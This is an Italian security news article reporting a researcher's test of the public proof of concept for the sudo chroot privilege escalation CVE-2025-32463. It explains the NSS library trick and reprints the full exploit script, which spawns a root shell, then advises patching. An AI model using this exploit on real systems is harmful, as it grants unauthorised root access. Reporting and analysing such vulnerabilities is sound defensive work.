Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463

Redazione RHC : 2 Luglio 2025 12:41

Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una gCVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot.

L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot.

Test sul campo: la parola a Manuel Roccon del gruppo HackerHood

Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.

Prompt Engineering & Sicurezza: diventa l’esperto che guida l’AI

Vuoi dominare l’AI generativa e usarla in modo sicuro e professionale? Con il Corso Prompt Engineering: dalle basi alla cybersecurity, guidato da Luca Vinciguerra, data scientist ed esperto di sicurezza informatica, impari a creare prompt efficaci, ottimizzare i modelli linguistici e difenderti dai rischi legati all’intelligenza artificiale. Un percorso pratico e subito spendibile per distinguerti nel mondo del lavoro.
Non restare indietro: investi oggi nelle tue competenze e porta il tuo profilo professionale a un nuovo livello.
Guarda subito l'anteprima gratuita del corso su academy.redhotcyber.com
Contattaci per ulteriori informazioni tramite WhatsApp al 375 593 1011 oppure scrivi a [email protected]



Supporta RHC attraverso:
 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.
 

Il team ha quindi testato il Proof of Concept pubblicato da Stratascale CVE-2025-32463. Il risultato? Privilege escalation ottenuta con successo.

Dettagli dell’exploit

L’exploit sfrutta una condizione in cui sudo esegue un comando in un ambiente chroot, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.

L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo che consente a un utente non privilegiato di ottenere privilegi di root quando sudo viene eseguito con l’opzione -R (che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*), compila una libreria condivisa malevola (libnss_/woot1337.so.2) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash), e forza sudo a caricarla come libreria NSS nel contesto chroot.

La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot, dove sudo carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/, che funge da root virtuale per il chroot. Quando sudo -R woot woot viene eseguito, la libreria woot1337.so.2 viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor)), ottenendo così l’escalation dei privilegi.

I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:

  • L’abilitazione dell’uso di chroot tramite sudo.
  • L’assenza di alcune restrizioni nei profili di sicurezza (come AppArmor o SELinux).
  • Una configurazione permissiva di sudoers.

Non è necessario che un utente sia sudoers per eseguire l’exploit.

Di seguito le semplici righe:

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c
#include 

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Conclusioni

Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo e chroot è comune, i rischi aumentano considerevolmente.

Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.

La sicurezza parte dalla consapevolezza. Continuate a seguirci per analisi tecniche, PoC testati e segnalazioni aggiornate.

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Supply Chain: Il blocco degli Aeroporti Europei fa riflettere su un problema sempre più critico
Di Paolo Galdieri - 24/09/2025

Il 20 settembre 2025 un cyberattacco ha colpito tre tra i principali scali europei Londra Heathrow, Bruxelles e Berlino. I sistemi digitali che governano il check-in e la gestione dei bagagli sono sta...

ShadowV2: la nuova botnet MaaS per attacchi DDoS sfrutta i container
Di Redazione RHC - 24/09/2025

Nel contesto di un’attività sempre più criminale, Darktrace ha scoperto una nuova campagna che utilizza la botnet ShadowV2. I ricercatori hanno rilevato attività dannose il 24 giugno 2025, quando...

Attacco Informatico al Comune di Forlì: verifiche in corso, nessun furto di dati
Di Redazione RHC - 24/09/2025

Il sistema informatico del Comune di Forlì è stato oggetto di un attacco hacker che ha compromesso il funzionamento di diversi servizi digitali. L’amministrazione comunale, riporta Il Resto Del Ca...

Come disabilitare un EDR tramite registro? Con il DedicatedDumpFile
Di Alex Necula - 24/09/2025

Ho lavorato per diversi anni come System Engineer e uno dei compiti che ho svolto è stata la gestione di Citrix PVS. Uno dei problemi con PVS era l’analisi dei file di dump. L’unico modo per gene...

Hacking RAN: i servizi segreti USA scoprono una rete cellulare clandestina a New York
Di Redazione RHC - 23/09/2025

I servizi segreti statunitensi hanno riferito di aver scoperto e sequestrato una rete di apparecchiature di telecomunicazione nell’area di New York in grado di interrompere il servizio di telefonia ...